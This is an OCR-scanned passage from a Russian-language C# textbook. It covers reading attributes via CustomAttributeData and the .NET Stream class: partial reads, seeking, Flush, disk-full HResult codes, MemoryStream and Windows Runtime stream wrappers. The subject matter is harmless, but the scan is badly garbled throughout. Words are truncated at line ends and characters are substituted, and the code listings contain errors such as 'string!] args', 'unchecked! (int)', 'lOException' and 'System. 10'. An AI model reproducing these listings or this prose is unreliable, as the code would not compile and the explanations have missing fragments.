.SingleOrDefault(attrData => attrData. AttributeType = pluginAttributeType) where info != null let description = info.NamedArguments .SingleOrDefault(a => a.MemberName == "Description") select new type, Name = (string) info.ConstructorArguments[0].Value, Author = (string) info.ConstructorArguments[1].Value, Description = description == null ? null description.TypedValue.Value I; oreach (var plugin in plugins) 759
Глава 15 Console.WriteLine("Plugin type: {0}"r plugin.type.Name); Console.WriteLine("Name: {0}, written by {1}", plugin.Name, plugin. Author); Console.WriteLine("Description: {0}", plugin.Description); } Этот код более громоздкий, потому что мы не получаем в ответ земпляр атрибута. Метод GetCustomAttributesData возвращает колл цию объектов типа CustomAttributeData. В листинге 15.20 используется LINQ-оператор SingleOrDefat чтобы найти запись для атрибута PluginlnformationAttribute, и е< она присутствует, переменная info будет содержать ссылку на со ветствующий объект типа CustomAttributeData. Затем код прохо; по аргументам конструктора и значениям свойств с помощью свой ConstructorArguments и NamedArguments, что позволит ему получиты описательных текстовых значения, заложенных в атрибуте. Как показывается в этом примере, работа с атрибутами только i отражения добавляет сложности, так что использовать этот подход с дует только в том случае, если вам нужны преимущества, которые предлагает. Одним из его преимуществ является тот факт, что он не пустит ни одну сборку из загруженных вами. Он также может загруз! сборки, которые могут быть отклонены, если бы они были загруже обычным способом (например, потому что их архитектура процессе не соответствует вашему процессу). Но если вам не нужно использов; этот подход только для отражения, доступ к атрибутам напрямую, i в листинге 15.19, более удобен. Резюме Атрибуты предоставляют способ внедрить пользовательские д; ные в метаданные сборки. Вы можете применить атрибуты к типу, л бому члену типа, параметру, возвращаемому значению или даже ко ж сборке или одному из ее модулей. Небольшое количество атрибутов < рабатывается особым образом средой выполнения CLR, а некоторые них управляют особенностями компилятора, но большинство не име никакого внутреннего поведения, действуя просто как пассивные ю тейнеры информации. Атрибуты даже не создают своих экземпляр если это никому не нужно. Все это делает атрибуты наиболее пол ными в системах, поведение которых определяется отражением. Ес 760
Атрибуты у вас уже есть один из объектов API-интерфейсгг отражения, такой как Parameterlnf о или Typeinfo, вы можете напрямую запросить у него атри- буты. Так, в библиотеке классов .NET вы чаще всего увидите атрибуты, используемые во фреймворках, которые проверяют ваш код с помощью отражения, такие как фреймворки модульного тестирования, управляе- мые данными элементы пользовательского интерфейса вроде панели Properties (Свойства) среды разработки Visual Studio либо фреймвор- ки надстроек. Если вы используете подобные фреймворки, вы, как пра- вило, в состоянии настроить их поведение путем аннотирования кода с помощью атрибутов, распознаваемых компилятором. Если вы создае- те такой фреймворк, может иметь смысл определить собственные типы атрибутов.
Глава 16 ФАЙЛЫ И ПОТОКИ Большинство приемов, которые я показал в этой книге, работа] с информацией, находящейся в объектах и переменных. Подобное ( стояние сохраняется в памяти отдельного процесса, но для того, чтсй быть полезной, программа должна взаимодействовать с более широк] миром. Это может происходить с помощью фреймворков пользовать ского интерфейса, которые мы будем рассматривать в главе 19, но ес одна конкретная абстракция, которая может быть использована д многих видов взаимодействий с внешним мцром: поток. Потоки очень широко используются в вычислительных машин; так что вы, несомненно, уже знакомы с ними, и поток во фреймвор .NET выглядит примерно так же, как и в большинстве других смет программирования: простая последовательность байтов*. Это дела поток полезной абстракцией для многих распространенных особени стей, таких как файл на диске или тело ответа HTTP. Консольное пр ложение использует потоки для представления своего ввода и выво. Если вы запустите такую программу, ее входной поток предостав текст, который пользователь вводит с клавиатуры, и все, что програм записывает в свой выходной поток, появляется на экране. Программе обязательно знать, как осуществляются ввод и вывод, — вы можете г ренаправить эти потоки с помощью консольных программ. Наприм! входной поток может фактически предоставлять содержимое файла диске, или это могут быть выходные данные других программ. Не все API ввода/вывода основаны на потоках. Напримс .в дополнение к входному потоку класс Console предоставлю метод ReadKey, который дает информацию о том, какая имен клавиша была нажата, что действует только тогда, когда да * Чтобы быть точным, 8-битных байтов, также известных как октеты. Бай в .NET всегда равны 8 битам, как и в большинстве других систем, но в некоторых сце риях могут появиться 7-битные байты, поэтому сетевые стандарты обычно ссылаются октеты, чтобы избежать двусмысленности. Я буду придерживаться соглашения .NET, что, если не указано иное, байты в этой книге имеют 8 бит. 762
Файлы и потоки ные поступают с клавиатуры. Таким образом, хотя вы можете писать программы, которые не заботятся об источнике вход- ных данных, будь то работа в интерактивном режиме или чте- ние из файла, некоторые программы более придирчивы. Потоковые API работают с необработанным потоком байтов. Тем не менее можно работать с потоками и другим способом. Например, су- ществуют API, ориентированные на работу с текстом и способные слу- жить оберткой для потоков, так что вы можете работать с символами или строками вместо необработанных байтов. Существуют также раз- личные механизмы сериализации, которые позволяют преобразовать объекты .NET в поток, который вы позже можете превратить обратно в объекты, что позволяет сохранить состояние объекта или послать его по сети. Я покажу эти более высокоуровневые API позже, сначала да- вайте рассмотрим саму абстракцию потока. Класс Stream Класс Stream определен в пространстве имен System. 10. Это аб- страктный базовый класс, имеющий конкретные производные типы, та- кие как FileStream или Networkstream, представляющих различные виды потоков. В листинге 16.1 показаны три наиболее важных члена класса Stream. Как вы увидите, он имеет ряд других членов, но продемонстри- рованные являются самым сердцем абстракции. Листинг 16.1. Наиболее важные члены класса stream public abstract int Read(byte[] buffer, int offset, int count); public abstract void Write(byte[] buffer, int offset, int count) ; public abstract long Position { get; set; } Некоторые потоки доступны только для чтения, и в этом случае метод Write сгенерирует исключение NotSupportedException. Напри- мер, входной поток консольного приложения может представлять ввод с клавиатуры или выходные данные некоторых других программ, в этом случае для программы нет никакого значимого способа записать данные в этот поток. (Для единообразия сделано так, что даже если вы пере- направите входные данные для запуска консольного приложения, ис- пользующего файл в качестве входных данных, входной поток будет доступен лишь для чтения.) Некоторые потоки предназначены только 763
Глава 16 для записи, такие как выходной поток консольного приложения, в этом случае метод Read сгенерирует исключение NotSupportedException. Класс Stream определяет различные свойства типа bool, кото- 4 * Рые описывают возможности потока, так что вам не придется <>У ждать, пока сгенерируется исключение. Вы можете проверить значение свойств CanRead или CanWrite. Методы Read и Write получают массив byte [ ] в качестве перво- го аргумента, и далее они копируют данные в этот массив или из него соответственно. Аргументы offset и count указывают начальный эле- мент массива и число байт, которое следует считать или записать, вы не должны использовать весь массив. Обратите внимание, что не суще- ствует аргументов, предназначенных для указания смещения в поток чтения или записи. Эта возможность реализуется с помощью свойства Position — по умолчанию оно имеет значение 0, но каждый раз, когда вы считываете из потока или записываете в него, позиция изменяется ю число обработанных байтов. t * Обратите внимание, что метод Read возвращает значение типа In! Это говорит о том, сколько байтов было прочитано из потока - мете не гарантирует соответствия объема считанных данных запрошенном Одна из очевидных причин этого — вы могли бы достичь конца потов так что хотя вы, например, просили прочитать 100 байтов в ваш масси было всего, скажем, 30 байтов данных, оставшихся между текущим зн чением Position и концом потока. Однако бывают и другие причины,! которым вы можете получить меньше данных, чем запрашивали, и з часто подводит, так что для блага людей, пролистывающих данную гл ву, я расскажу кое-что полезное в следующей врезке. Если вы запросите более одного байта за один раз, поток все да может вернуть меньше данных, чем вы запросили с пом щью метода Read, по любой причине. Никогда не следует пол гать, что вызов метода Read вернет столько данных, сколько! запросили, даже если у вас есть хорошая причина полагат что запрошенный вами объем будет доступен. Причина того, что метод Read выглядит несколько мудрено, закл! чается в том, что некоторые потоки изменяются динамически - oi представляют источники информации, создающие данные постепенн 764
о мере выполнения программы. Так, например, если консольное при- ожение выполняется в интерактивном режиме, его входной поток дан- ых может обеспечить только по мере их ввода пользователем; поток, редставляющий данные, полученные по сетевому соединению, может редоставить данные с той скоростью, с какой они поступают через ггевое соединение. Если вы вызовете метод Read и запросите больше шных, чем доступно в настоящее время, поток может подождать, пока е появится требуемое количество данных, но не обязан — он вполне ожет вернуть все имеющиеся данные немедленно. (Единственная си- ^ация, в которой он обязан ждать, прежде чем возвращать данные — он настоящее время не имеет никаких данных вообще и при этом поток де не закончился. Он должен вернуть по крайней мере один байт, по- сольку возвращаемое значение 0 указывает, что поток закончился.) ели вы хотите убедиться, что считали определенное количество байт, ы должны проверить количество возвращенных байт, и если оно мень- ie требуемого, необходимо вызывать его до тех пор, пока не получите се необходимое. В листинге 16.2 показано, как это сделать. истинг 16.2. Чтение определенного числа байтов catic int ReadAll(Stream s, byte [ ] buffer, int offset, int length) if ((offset + length) > buffer.Length} { throw new ArgumentException( "Buffer too small to hold requested data"); ) int bytesReadSoFar = 0; while (bytesReadSoFar < length) { int bytes = s.Read( buffer, offset + bytesReadSoFar, length - bytesReadSoFar); if (bytes == 0) { break; } bytesReadSoFar += bytes; } return bytesReadSoFar;
Глава 16 Обратите внимание, что этот код проверяет равенство возвращаем го значения нулю для обнаружения конца потока. Этот код нуждает в такой проверке, иначе он может попасть в бесконечный цикл, ес дойдет до конца потока, прежде чем считает требуемое количество да ных. Очевидно, это означает, что, если мы дошли до конца потока, бул предоставлено меньше данных, чем было запрошено, так что может г казаться, что на самом деле проблема не решена. Тем не менее этот мет делает невозможной ситуацию, когда вы получите меньше данных, ч< запросили, несмотря на то, что поток еще не закончился. (Конечно, i могли бы изменить метод так, чтобы он генерировал исключение, ес он достигает конца потока до того, как предоставит указанное число ба тов. Таким образом, если метод возвращает значение, нет гарантии, ч будет возвращено ровно столько байтов, сколько было предложено.) Класс Stream предлагает чуть более простой способ считывания. \ тод ReadByte возвращает один байт, если вы не дошли до конца пота после чего он возвращает значение? -1. (Тип его возвращаемого зна< ния — int, что позволяет ему вернуть любое возможное значение бай в том числе и отрицательные значения.) Это позволяет решить проб; му частичного получения данных, потому что, если вы получаете хс что-то, вы всегда получите ровно один байт. Тем не менее это не особ( но удобно, если вы хотите считывать большие куски данных. Метод Write не сталкивается ни с одной из этих проблем. Он все] записывает все данные, которые вы ему передаете, прежде чем зав< шить работу. Конечно, он может и не вернуть значение — может бь сгенерировано исключение прежде, чем он успеет записать данные из ошибки (например, нехватки места на диске или потери сетевого сое; нения). Позиция и поиск Потоки автоматически обновляют их нынешнюю позицию кажд раз, когда выполняется чтение либо запись. Как вы можете увид< в листинге 16.1, свойство Position может быть установлено, и вы мож попытаться переместиться непосредственно к конкретной позиции, кое может и не сработать, поскольку не всегда получается предостав] поддержку этой особенности. Например, объект класса Stream, котор представляет данные, полученные в течение сетевого соединения Т может производить данные неопределенно — до тех пор, пока соеди ние остаетсяГЪткрытым, а другой конец продолжает посылать дани 766
Файлы и потоки поток будет продолжать вызывать метод Read. Соединение может оста- ваться открытым в течение многих дней и на протяжении этого времени получать терабайты данных. Если такой поток позволит вам установить значение своего свойства Postion, вы можете вернуться и повторно счи- тать данные, полученные ранее. Для поддержки этой особенности поток должен найти место, где он смог бы хранить каждый полученный байт на тот случай, если код с помощью потока захочет увидеть данные сно- ва. Поскольку может получиться так, что данных окажется больше, чем у вас есть места на диске, это явно не практично, так что некоторые пото- ки сгенерируют исключение NotSupportedException, когда вы пытаетесь установить для них значение свойства Position. (Существует свойство CanSeek, вы можете использовать его для того, чтобы выяснить, поддер- живает ли конкретный поток изменение позиции, так что, как и в случае потоков, предназначенных только для чтения и только для записи, вам не придется ждать, пока сгенерируется исключение, чтобы выяснить, поддерживается ли переход на позицию.) Как и в случае со свойством Position, в классе Stream также опреде- лен метод Seek, чья сигнатура показана в листинге 16.3. Он позволяет указать желаемую позицию по отношению к текущей позиции потока. (Очевидно, будет сгененировано исключение NotSupportedException для потоков, которые не поддерживают поиск.) Листинг 16.3. Метод Seek public abstract long Seek(long offset, SeekOrigin origin); Если вы передадите значение SeekOrigin.Current в качестве второго аргумента, позиция будет задана путем добавления первого аргумента к текущей позиции. Вы можете передать отрицательное значение аргу- мента of f set, если хотите переместиться. Вы также можете передать зна- чение SeekOrigin.End, чтобы установить положение в заданном количе- стве байтов от конца потока. Передача значения SeekOrigin. Begin имеет тот же эффект, что и простое указание значения свойства Position, — позиция устанавливается относительно начала потока. Выгрузка Как и во многих потоковых API в других системах программирова- ния, запись данных в поток не обязательно приводит к моментальному достижению данными пункта назначения. Так, например, если вы пи- шете один байт в поток, представляющий файл на диске, объект потока 767
Глава 16 обычно ждет, пока не получит достаточное количество байт, чтобы с! лать свою работу. Диски представляют собой блочные устройства. 1 означает, что запись происходит, когда наберется достаточное коли1 ство байт, обычно несколько килобайт. Так что имеет смысл подожда пока вы не получите достаточно данных для заполнения блока, пре! чем делать запись. Такая буферизация, как правило, очень полезна — это улучшу производительность записи при одновременном абстрагировании принципов работы диска. Однако недостатком этого подхода являй тот факт, что, если вы пишете данные лишь изредка (например, при а дании сообщений об ошибках в файл журнала), вы легко можете сп кнуться с длительными задержками между записью данных в not и сохранением их на диск. Это может вызывать недоумение для та кто пытается диагностировать проблему, глядя на лог программы, за! щенной в настоящее время. И даже более коварно — если ваша програ ма экстренно завершает работу, все, что находилось в буфере потока и было записано на диск, скорее всего будет потеряно. Класс Stream предлагает метод Flush. Он позволяет указать пото что вы хотите, чтобы он делал все, что потребуется, чтобы любые дани из буфера достигли цели, даже если это означает, что буфер использу ся неоптимально. При применении класса Filestream метод Flush не обязатель гарантирует, что очищаемые данные достигнут диска. Он п; сто заставляет поток передать данные операционной систе» До того как вы вызвали метод Flush, операционная система видит данные, так что, если вы завершите процесс внезаш данные окажутся потеряны. После того как метод Flush otj ботает, операционная система получит все, что передал в код, поэтому процесс может быть завершен без потери к ных. Тем не менее в случае, если произойдет сбой питания того, как операционная система запишет всю информацию диск, данные будут потеряны. Если вам нужно гарантирова чтобы данные были записаны (а не просто произошла их пе| дача операционной системе), вы должны использовать ф] WriteThrough, который описан в разделе «Класс FileStreair». Поток автоматически очищает свое содержимое при вызове мек Dispose. Вы должны использовать метод Flush только тогда, когда 768
Файлы и потоки хотите сохранить поток открытым после выгрузки данных из буфера. Это особенно важно, если поток будет открыт, но не активен в течение длительных периодов времени. (Если поток представляет собой сетевое соединение и если ваше приложение зависит от своевременной достав- ки данных — например, вы пишете онлайн-чат или игру, — вы могли бы вызвать метод Flush, даже если вы ожидаете небольшую задержку.) Копирование Копирование всех данных из одного потока в другой иногда может оказаться полезно. Было бы нетрудно написать цикл, выполняющий это, но не нужно, потому что метод Сору класса Stream выполнит копи- рование за вас. Об этом рассказать особо нечего. Основная причина, по которой я упоминаю его, — для разработчиков не редкость писать соб- ственный метод, потому что они не знают, что подобная функциональ- ность уже встроена в класс Stream. 4 Длина Некоторые потоки могут сообщать о своей длине с помощью свойства с предсказуемым названием Length. Как и в случае свойства Position, это свойство имеет тип long — класс Stream использует 64-битовые чис- ла, поскольку потоки часто могут иметь размер больше двух гигабайт, что являлось бы верхним пределом, если бы размеры и позиции были представлены с помощью переменной типа int. В классе Stream также определен метод SetLength, который, если он поддерживаются, позволяет указать длину потока. Если вы пишете большой объем данных в файл, возможно, имеет смысл вызвать этот ме- тод, прежде чем начать, чтобы гарантировать, что достаточно простран- ства для всех данных, которые вы хотите записать. В противном случае, если место на диске закончится, может сгенерироваться исключение. Метод SetLength сгенерирует исключение lOException, если не хва- тит места. К сожалению, это же исключение может быть создано в ре- зультате другой ошибки, такой как отказ диска, — во фреймворке .NET не определен особый тип ошибки на случай недостатка памяти. Тем не менее возможно распознать эту ситуацию, потому что (как описано в главе 8) исключения предоставляют свойство HResult, которое содер- жит код ошибки СОМ, эквивалентный исключению. Как ни странно, 769
имеются два различных кода ошибок в операционной системе Windo для сообщения о том, что диск отчетности переполнен, так что вы дол ны проверить оба, как показано в листинге 16.4. Если у вас болы 10 терабайтов свободного места, вам нужно изменить этот пример, ч' бы получить ошибку. (Кстати, я использую в этом примере uncheck потому что свойство HResult имеет тип int в пользу языков, котор не поддерживают беззнаковые типы. Это бесполезно для разрабог ков С#, потому что в кодах ошибок СОМ всегда установлен старш бит, что означает, что их шестнадцатеричные константы технически в диапазона. И вы получите ошибку компиляции, если вы просто поп таетесь записать значение; преобразование unchecked в int произвол правильное значение.) Листинг 16.4. Обработка ошибки переполнения диска using System; using System.10; namespace ConsoleApplicationl { class Program { const long gig = 1024 * 1024 * 1024; const int DiskFullErrorCode = unchecked((int) 0x80070070); const int HandleDiskFullErrorCode = unchecked! (int) 0x80070027); static void Main(string!] args) { try { using (var fs = File.OpenWrite(@”c:\temp\long.txtn)) { fs.SetLength(10000 * gig); I } catch (lOException x) { if (x.HResult == DiskFullErrorCode I I x.HResult == HandleDiskFullErrorCode) { 770
Не все потоки поддерживают операции над длиной. Контракт, пред- лагаемый классом Stream (то, что обещает его документация), говорит, что свойство Length доступно только потокам, поддерживающим свой- ство CanSeek. Причиной этому является то, что обычно содержимое поддерживающего поиск потока известно и доступно заранее. Поиск недоступен для потоков, чье содержимое генерируется во время вы- полнения (например, входной поток представляет пользовательский ввод, или потоки представляют данные, полученные по сети), в этих случаях длина очень часто не известна заранее. Что касается метода SetLength, договор утверждает, что он поддерживается только для по- токов, которые поддерживают как запись, так и поиск. (Как и в случае других членов, представляющих дополнительные возможности, Length и SetLength сгенерируют исключение NotSupportedException, если вы пытаетесь использовать эти члены для потоков, которые их не поддер- живают.) Очистка Некоторые потоки представляют внешние ресурсы. Например, класс Filestream обеспечивает потоковый доступ к содержимому файла, так что он должен получить дескриптор файла из операционной системы. Важно закрывать дескрипторы, когда вы закончите работать с ними, по- тому что в противном случае, вы могли бы не позволить другим прило- жениям использовать этот файл. Следовательно, класс Stream реализует интерфейс IDisposable (описанный в главе 7), чтобы он мог знать, когда это делать. И, как я упоминал ранее, Filestream также очищает его бу- фер при вызове метода Dispose, прежде чем закроется дескриптор. Не все типы потока зависят от вызова метода Dispose — класс MemoryStream работает полностью в памяти, чтобы сборщик мусора мог 771
Глава 16 позаботиться о нем. Но в целом, если вы создали поток, вам следует bi звать метод Dispose, когда он вам больше не нужен. “ Есть несколько ситуаций, в которых у вас будет поток, но в 4ч не обязаны очищать его. Например, ASP.NET может предс ставить потоки для представления данных в запросе и ответ создаст их для вас, а затем избавится от них, после того кг вы используете их, поэтому вам не следует вызывать для н? метод Dispose. Странно, но у класса Stream также есть метод Close. Это историческа случайность. Первая публичная бета-версия фреймворка .NET не им( ла интерфейса IDisposable, a C# — утверждения using; ключевое слов было только для использования директив, помещающих пространств имен в область применения. Класс Stream нуждался в некоторой ва можности узнать, когда очищать свои ресурсы, и так как еще не был стандартного способа сделать это, он был снабжен собственной иди( мой. В этом классе определен метод Close, который согласуется с терм? нологией, используемой во многих потоковых API других систем про граммирования. Интерфейс IDisposable был добавлен до финально? релиза версии .NET 1.0, а класс Stream добавил его поддержку, но мето Close остался на месте — его удаление нарушило бы работу многих пр? ложений, написанных разработчиками, использовавшими бета-версим Но метод Close избыточен, и документация активно отговаривает отег использования. Она говорит, что вместо него вы должны вызвать мето Dispose (используя using, если это удобно). Нет никакого вреда в вь зове метода Close — нет практической разницы между ним и методо Dispose, но последний является более распространенной идиомой, и по этому его использование предпочтительнее. Асинхронные операции Класс Stream предлагает асинхронные версии методов Read и Writ! С момента появления .NET 1.0 эти операции поддерживают модел асинхронного программирования (АРМ), описанную в главе 17, с помо щью методов BeginRead, EndRead, BeginWrite и EndWrite. Что касается вер сии .NET 4.5, класс Stream также поддерживает новый асинхронный пат терн на основе задач (Task-Based Asynchronous Pattern или TAP, так» описанный в главе 17) с помощью своих методов ReadAsync и WriteAsync 772
Файлы и потоки поддержка синхронных операций была также расширена в этом выпу- ске - добавлены еще две операции: FlushAsyng j^CopyToAsync. (Они под- держивают только ТАР; нет никаких методов выгрузки или копирова- ния на основе АРМ.) Некоторые типы потоков реализуют эти операции, используя очень эффективные приемы, которые соответствуют непосредственно асин- хронным возможностям операционной системы. (Класс FileStream делает это, так же как различные потоки, которые в фреймворке .NET представляют содержание сетевых подключений.) Вы можете встретить библиотеки с пользовательскими типами потоков, которые не делают этого, но даже тогда асинхронные методы будут доступны, так как базо- вый класс Stream может вернуться к использованию многопоточности. Существует одна вещь, с которой вы должны быть осторожны при использовании асинхронного чтения и записи. Поток имеет только одно свойство Position. Чтение и запись зависят от текущей позиции и об- новляют ее по завершению работы, так что не следует начинать новую операцию, прежде чем закончится текущая. Если вы хотите выполнить несколько одновременных операций чтения из конкретного файла, вам необходимо создать несколько объектов потока для этого файла. Конкретные типы потоков Класс Stream является абстрактным, поэтому, чтобы использовать поток, нужен конкретный производный тип. В каких-то ситуациях он будет предоставлен вам — веб-фреймворк ASP.NET предоставляет объ- екты потоков, представляющих, например, тела HTTP запросов и от- ветов, некоторые клиентские сетевые API также будут делать нечто подобное. Но иногда вам понадобится создавать объект потока само- стоятельно. В этом разделе описаны некоторые из наиболее часто ис- пользуемых типов, производных от класса Stream. Класс FileStream представляет собой файл в файловой системе. Я опишу его в разделе «Файлы и каталоги». Класс Memorystream позволяет создавать поток на основе массива типа byte [ ]. Вы можете взять существующий массив и обернуть его в Memorystream или создать объект класса Memorystream, а затемв напол- нить его данными, вызывая метод Write (или один из асинхронных эк- вивалентов). Вы можете получить записанные байты Byte [ ], как толь- 773
Глава 16 ко вы закончите работу с помощью вызова ТоАггау. Этот класс полезе когда вы работаете с API, которые требуют объект потока, а у вас н ни одного по какой-то причине. Например, все API сериализации, оп санные далее в этой главе, работают с потоками, но вы можете захоте использовать и другие API, который работают с массивами байт. Кла Memorystream служит мостом между этими двумя представлениями. В операционной системе Windows определен механизм межпроцес ного взаимодействия (interprocess communication, IPC), называемь именованным каналами. Два процесса могут отправлять друг другу да ные через именованный канал. Класс Pipe Stream предоставляет эт механизм для использования в коде .NET. Класс BufferedStream является производным от класса Stream, i также принимает экземпляр класса Stream в конструктор. Он добавля буферный слой, что позволяет контролировать размер буфера. Существуют различные типы потоков, некоторым способом прео разующие содержание других потоков. Например, классы Def lateStre и GZipStream реализуют два широко используемых алгоритма сжап данных. Вы можете обернуть их вокруг других потоков для сжатия да ных, записанных в основной поток, или для распаковки данных, счита ных из него. (Они просто обеспечивают низкоуровневую службу сжап данных. Если вы хотите работать с популярным форматом ZIP для пак тов сжатых файлов, используйте класс ZipArchive, введенный в вера .NET 4.5.) Также имеется класс CryptoStream, который может зашифр вать или расшифровать содержимое других потоков, используя люб из множества механизмов шифрования, поддерживаемых в .NET. Windows 8 и тип IRandomAccessStream В операционной системе Windows 8 был добавлен новый вид npi ложений, предназначенный в первую очередь для сенсорного ввода да ных. Эти программы работают в другой среде выполнения, нежели др гие приложения Windows, — они используют значительно урезанну версию фреймворка .NET, а также новый API, доступный как для .NE так и для кода на C++, называемый Windows Runtime. Хотя класс Stre< по-прежнему существует в этой урезанной версии фреймворка .NE в нем нет^класса Filestream. Кроме того, Windows Runtime не испод зует класс Stream, потому что этот тип встроен в .NET, а среда выпо. нения поддерживает разработку не только на нем (например, на C++ 774
Файлы и потоки Следовательно, здесь определены собственные абстракции для потоков и файлов. Во многих случаях, когда Windows Runtime определяет абстракцию, которая соответствует абстракции .NET, а среда выполнения CLR ав- томатически обеспечивает преобразование между этими двумя мирами. (Например, Windows Runtime определяет собственный тип коллекции для индексированных списков, который называется IVector<T>, но среда выполнения CLR автоматически сопоставляет его с эквивалентом для .NET, поэтому с точки зрения C# этот класс выглядит как коллекция Windows Runtime, реализующая интерфейс IList <Т>.) Тем не менее Windows Runtime представляет потоки таким образом, который существенно отличается от класса Stream, поэтому автомати- ческое преобразование будет проблематичным. С одной стороны, один поток может быть представлен максимум тремя отдельными объекта- ми в Windows Runtime. Кроме того, вам иногда может понадобиться работать непосредственно с типами Windows Runtime, чтобы получить доступ к функциям, которые не имеют прямых эквивалентов в классе Stream для .NET. Поэтому среда выполнения CLR не отображает потбки автоматически. Как показано в листинге 16.5, C# напрямую может ис- пользовать потоки Windows Runtime. Листинг 16.5. Использование потоков Windows Runtime using System; using System.Runtime.InteropServices.WindowsRuntime; using System.Text; using System.Threading.Tasks; using Windows.Storage; using Windows.Storage.Streams; class Statestore public static async Task SaveString(string fileName, string value) { StorageFolder folder = ApplicationData.Current.LocalFolder; StorageFile file = await folder.CreateFileAsync(fileName, CreationCollisionOption.ReplaceExisting); using (IRandomAccessStream runtimaStream = 775
Глава 16 await file. OpenAsync (FileAccessMbde. ReadWrite)) { lOutputStream output = runtimestream. GetOutputS treamAt (0); byte[] valueBytes = Encoding.UTF8.GetBytes(value); await output.WriteAsync(valueBytes.AsBuffer()); } I public static async Task<string> Fetchstring( у string fileName) { StorageFolder folder = ApplicationData.Current.LocalFqlder; StorageFile file = await folder.GetFileAsync(fileName); using (IRandomAccessStream runtimestream = await file.OpenReadAsync()) { IInputstream input = runtimestream.GetlnputStreamAt(O); var size = (uint) ( await file.GetBasicPropertiesAsync()).Size; var buffer = new byte[size]; await input.ReadAsync( buffer.AsBuffer(), size, InputstreamOptions.Partial); return Encoding.UTF8.GetString(buffer, 0, (int)size); } } I В этом коде довольно часто используется ключевое слово await, по- скольку Windows Runtime всегда представляет потенциально медлев- ные операции через асинхронные API. Это ключевое слово будет опт сано в главе 18. Класс Statestore из листинга 16.5 предоставляет статические мето- ды для сохратФнйя содержимого строки в файл и чтение его обратна Я выделил код, который работает с потоками, жирным шрифтом, так как этот код нуждается в нескольких дополнительных строках в нача- ле каждого метода, чтобы создать или открыть файл в конкретном за- 776
Файлы и потоки данном пользовательском хранилище, предоставленном приложению. В приведенном примере применяются потоки, представляющие файлы, так что сначала мы должны создать или открыть файл. (Соответствую- щие строки кода используют API хранения данных Windows Runtime для приложений в стиле Windows 8.) После открытия файла код проходит через два этапа. Во-первых, он получает IRandomAccessStream из объекта, представляющего файл. Как следует из названия, это интерфейс, который представляет собой объ- ект, выглядящий как поток. Тем не менее мы не можем использовать его непосредственно для доступа к содержимому потока. Чтобы иметь доступ, мы должны получить либо IlnputStream, либо lOutputStream из IRandomAccessStream. В отличие от .NET, Windows Runtime определя- ет отдельные типы для представления читаемых и записываемых по- токов, что позволяет избежать необходимости иметь свойства CanRead иCanWrite. Хотя достаточно легко использовать типы потоков Windows Runtime из С#, вы не обязаны это делать. У вас, возможно, имеется .NET код, который использует класс Stream и который вы хотели бы применять внутри приложения в стиле Windows 8. Хотя среда выполнения CLR не выполняет автоматических преобразований между двумя представ- лениями потока, вы можете запросить обертку явно, как показано в ли- стинге 16.6. Листинг 16.6. Преобразование потока Windows Runtime в поток .NET using System; using System. 10; using System.Threading.Tasks; using Windows.Storage; class StateStore { public static async Task SaveString(string fileName, string value) { StorageFolder, folder = ApplicationData.Current.LocalFolder; StorageFile file = await folder.CreateFileAsync(fileName, CreationCollisionOption.ReplaceExisting); 777
Глава 16 using (Stream s = await f ile. Opens treamForWritaAsync()) using (var w = new Streamwriter(s)) { w.Write(value); } } public static async Task<string> Fetchstring( string fileName) { StorageFolder folder = ApplicationData.Current.LocalFolder; StorageFile file = await folder.GetFileAsync(fileName); using (Stream s = await file.OpenStreamForReadAsync()) using (var rdr = new StreamReader(s)) { return rdr.ReadToEnd(); } } } Этот код выполняет те же функции, что и листинг 16.5, но с испол зованием потоков .NET. Данные версии методов SaveString и FetchStri: вызывают методы OpenStreamForWriteAsync и OpenStreamForReadAsync о ответственно для объекта типа StorageFile. Если бы вы заглянули в кументацию типа StorageFile, вы обнаружили бы, что он не определи подобных методов, и не в последнюю очередь потому, что тип StorageFi] является одним из типов Windows Runtime и, следовательно, ничего i знает о классе Stream, который является типом .NET. Эти методы раснп рения определены в классе WindowsRuntimeStorageExtensions из простра ства имен System. 10, и они создают обертки .NET для выполнения потока Там также существует класс WindowsRuntimeStreamExtensions, опред ляющий два метода расширения для класса .NET Stream, AsInputStrea и AsOutputStream, которые предоставляют обертки, реализующие тип входного и выходного потока Windows Runtime. В этом же классе так* определены методы расширения для типов среды выполнения типа: с п мощью IRandomAccessStream вы можете вызвать AsStream, а затем и тип IlnputStream и lOutputStream получают методы расширения, которыен зываются AsStreamForRead и AsStreamForWrite соответственно. Как показано в листинге 16.6, эти обертки позволяют нам испольэ вать другие особенности библиотеки .NET, способной работать с поток 778
Файлы и потоки ми. Например, я могбы использовать классы StreamReader и Streamwriter для чтения и записи текста в файле, что делает дсод немного проще, чем листинг 16.5. Во фреймворке .NET определены несколько типов для ра- боты с текстом. Типы для работы с текстом Класс Stream ориентирован на работу с байтами. Но более удобно ра- ботать с файлами, содержащими текст. Если вы хотите обработать текст в файле (или полученный по сети), довольно неудобно использовать для этого API, работающие с байтами, потому что это заставляет вас самостоятельно обрабатывать все возможные ситуации. Например, су- ществует множество соглашений для того, как представлять конец стро- ки - в Windows обычно применяется два байта со значением 13 и 10, но Unix-подобные системы часто используют всего один байт со значением 10, а некоторые другие системы — только значение 13. Также широко применяются несколько кодировок символов. Некоторые файлы ис- пользуют один байт для представления одного символа, некоторые — два, а некоторые — кодирование с переменной длиной. Существует много различных однобайтовых кодировок, так что если вы в текстовом файле столкнетесь со значением байта 163, вы не сможете узнать, что он означает, если вам неизвестно, какая используется кодировка. В файле, применяющем однобайтовую кодировку Windows-1252, значение 163 представляет собой знак фунта: £*. Но если файл закоди- рован с помощью ISO / IEC 8859-5 (она предназначена для регионов, которые используют кириллицу), точно такой же код представляет про- писную букву ДЖЕ: Ъ. И если файл применяет кодировку UTF-8, этот символ мог бы быть только частью многобайтной последовательности, представляющей один символ. Осведомленность в этих вопросах, конечно, неотъемлемая часть на- бора навыков любого разработчика, но это не значит, что вам придется обрабатывать каждую мелочь, с которой вы можете столкнуться в лю- бое время. Так, во фреймворке .NET определены специализированные абстракции для работы с текстом. * Вы могли бы подумать, что фунт обозначается знаком #, но, если вы англичанин, как я, вы этому не поверите. Эта ситуация похожа на случай, если бы кто-то сказал, что - это знак доллара. Каноническое имя в Unicode символа # — это «знак номера», но также допускаются и такие названия, как «хэш», «решетка», «штриховка» и, к сожале- нию, «знак фунта». 779
